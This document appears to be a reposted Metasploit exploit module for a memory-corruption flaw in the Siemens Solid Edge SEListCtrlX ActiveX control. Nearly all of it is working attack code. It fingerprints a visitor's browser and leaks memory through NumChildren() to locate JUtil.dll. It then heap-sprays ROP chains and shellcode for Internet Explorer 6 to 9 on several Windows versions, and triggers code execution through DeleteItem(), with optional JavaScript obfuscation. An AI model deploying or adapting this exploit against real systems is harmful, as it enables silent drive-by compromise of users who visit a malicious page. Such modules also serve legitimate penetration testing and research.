SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution Exploit

:
07.10.2013
:
SIEMENS Solid Edge 10.4
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}"
})

def initialize(info={})
super(update_info(info,
'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution",
'Description' => %q{
This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product.
The vulnerability exists on several APIs provided by the control, where user supplied input
is handled as a memory pointer without proper validation, allowing an attacker to read and
corrupt memory from the target process. This module abuses the methods NumChildren() and
DeleteItem() in order to achieve memory info leak and remote code execution respectively.
This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,
using Solid Edge 10.4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '93696' ],
[ 'EDB', '25712' ],
[ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ]
],
'Payload' =>
{
'Space' => 906,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Jutil.dll 104.0.0.82
# SEListCtrlX 104.0.0.82
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ]
],
'Privileged' => false,
'DisclosureDate' => "May 26 2013",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def junk
return rand_text_alpha(4).unpack("V").first
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

# JUtil ROP Chain
# Jutil Base: 0x1d550000
# Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret
# Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret
# 0x1db2e121, # POP EDX # RETN [JUtil.dll]
# 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll]
# 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll]
# 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll]
# 0x1d70e314, # POP EBP # RETN [JUtil.dll]
# 0x1d5fc8e8, # & jmp esp [JUtil.dll]
# 0x1d631859, # POP EBX # RETN [JUtil.dll]
# 0x00000201, # 0x00000201-> ebx
# 0x1d769cf9, # POP EDX # RETN [JUtil.dll]
# 0x00000040, # 0x00000040-> edx
# 0x1d6d2e50, # POP ECX # RETN [JUtil.dll]
# 0x1da45217, # &Writable location [JUtil.dll]
# 0x1d632fd1, # POP EDI # RETN [JUtil.dll]
# 0x1d6839db, # RETN (ROP NOP) [JUtil.dll]
# 0x1d752439, # POP EAX # RETN [JUtil.dll]
# 0x90909090, # nop
# 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll]
def ie9_spray(t, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))

js = %Q|

function rop_chain(jutil_base){
var arr = [
Number(Math.floor(Math.random()*0xffffffff)),
Number(0x0c0c0c0c),
Number(0x0c0c0c0c),
Number(0x0c0c0c1c),
Number(0x0c0c0c24),
Number(0x0c0c0c28),
Number(Math.floor(Math.random()*0xffffffff)),
Number(Math.floor(Math.random()*0xffffffff)),
Number(0x0c0c0c0c),
Number(0x0c0c0c3c),
jutil_base + Number(0x00212f17),
jutil_base + Number(0x000a5843),
Number(0x0c0c0c34),
jutil_base + Number(0x5de121),
jutil_base + Number(0x20ca),
jutil_base + Number(0x4bebeb),
jutil_base + Number(0x4c03d2),
jutil_base + Number(0x1be314),
jutil_base + Number(0xac8e8),
jutil_base + Number(0xe1859),
Number(0x00000201),
jutil_base + Number(0x219cf9),
Number(0x00000040),
jutil_base + Number(0x182e50),
jutil_base + Number(0x4f5217),
jutil_base + Number(0xe2fd1),
jutil_base + Number(0x1339db),
jutil_base + Number(0x202439),
Number(0x90909090),
jutil_base + Number(0x4fcfe3)
];
return arr;
}

function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}

function tab2uni(tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += d2u(tab[i]);
}
return uni;
}

function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");

function heap_spray(jutil_base) {
while (nops.length < 0x80000) nops += nops;
var offset_length = #{t['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var rop = tab2uni(rop_chain(jutil_base));
var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
}
|
return js
end

def ie8_spray(t, p)
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))

js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

function rop_chain(jutil_base){
var arr = [
Number(Math.floor(Math.random()*0xffffffff)),
Number(0x0c0c0c0c),
Number(0x0c0c0c0c),
Number(0x0c0c0c1c),
Number(0x0c0c0c24),
Number(0x0c0c0c28),
Number(Math.floor(Math.random()*0xffffffff)),
Number(Math.floor(Math.random()*0xffffffff)),
Number(0x0c0c0c0c),
Number(0x0c0c0c3c),
jutil_base + Number(0x00212f17),
jutil_base + Number(0x000a5843),
Number(0x0c0c0c34),
jutil_base + Number(0x5de121),
jutil_base + Number(0x20ca),
jutil_base + Number(0x4bebeb),
jutil_base + Number(0x4c03d2),
jutil_base + Number(0x1be314),
jutil_base + Number(0xac8e8),
jutil_base + Number(0xe1859),
Number(0x00000201),
jutil_base + Number(0x219cf9),
Number(0x00000040),
jutil_base + Number(0x182e50),
jutil_base + Number(0x4f5217),
jutil_base + Number(0xe2fd1),
jutil_base + Number(0x1339db),
jutil_base + Number(0x202439),
Number(0x90909090),
jutil_base + Number(0x4fcfe3)
];
return arr;
}

function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}

function tab2uni(tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += d2u(tab[i]);
}
return uni;
}

function heap_spray(jutil_base) {
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var rop = tab2uni(rop_chain(jutil_base));
var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
}
|
return js
end

def ie6_spray(t, p)
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))

js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var nops = unescape("#{js_nops}");
var code = unescape("#{js_code}");

function heap_spray() {
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
}
|
return js
end

def ie_heap_spray(my_target, p)
# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = ie9_spray(my_target, p)
when targets[5], targets[6]
# IE 8 on Windows 7 and Windows Vista
js = ie8_spray(my_target, p)
else
js = ie6_spray(my_target, p)
end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
@heap_spray_fn = js.sym("heap_spray")
else
@heap_spray_fn = "heap_spray"
end

return js
end

def get_windows_xp_payload
fake_memory = [
junk, # junk # 0c0c0c0c
0x0c0c0c0c, # Dereference # 0c0c0c10
0x0c0c0c0c, # Dereference # 0c0c0c14
0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18
0x0c0c0c24, # Dereference # 0c0c0c1c
0x0c0c0c28, # Dereference # 0c0c0c20
junk, # junk # 0c0c0c24
junk, # junk # 0c0c0c28
0x0c0c0c0c, # Dereference # 0c0c0c2c
0x0c0c0c30, # Dereference # 0c0c0c30
0x0c0c0c38, # new eip # 0c0c0c34
].pack("V*")

p = fake_memory + payload.encoded

return p
end

def get_windows_msvcrt_payload
fake_memory = [
junk, # junk # 0c0c0c0c
0x0c0c0c0c, # Dereference # 0c0c0c10
0x0c0c0c0c, # Dereference # 0c0c0c14
0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18
0x0c0c0c24, # Dereference # 0c0c0c1c
0x0c0c0c28, # Dereference # 0c0c0c20
junk, # junk # 0c0c0c24
junk, # junk # 0c0c0c28
0x0c0c0c0c, # Dereference # 0c0c0c2c
0x0c0c0c3c, # Dereference # 0c0c0c30
0x77c21ef4, # ppr msvcrt # 0c0c0c34
0x77c15ed5, # xchg eax,esp # ret (msvcrt)
0x0c0c0c34 # eax value # 0c0c0c3c
].pack("V*")

return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})
end

def get_payload(t)

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
p = get_windows_msvcrt_payload
when :jutil
print_status("Using JUtil ROP built dynamically...")
p = payload.encoded
else
print_status("Using payload without ROP...")
p = get_windows_xp_payload
end

return p
end

def info_leak_trigger
js = <<-EOS
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
</object>
<script language='javascript'>
jutil_address = obj.NumChildren(0x10017018 - 0x0c);
jutil_base = jutil_address - 0x49440;
#{@heap_spray_fn}(jutil_base);
obj.DeleteItem(0x0c0c0c08);
</script>
EOS

return js
end

def exec_trigger
js = <<-EOS
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />
</object>
<script language='javascript'>
#{@heap_spray_fn}();
obj.DeleteItem(0x0c0c0c08);
</script>
EOS

return js
end

def get_trigger(t)
case t['Rop']
when :jutil
js = info_leak_trigger
else
js = exec_trigger
end

return js
end

def load_exploit_html(my_target)
p = get_payload(my_target)
js = ie_heap_spray(my_target, p)
trigger = get_trigger(my_target)

html = %Q|
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body>
#{trigger}
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

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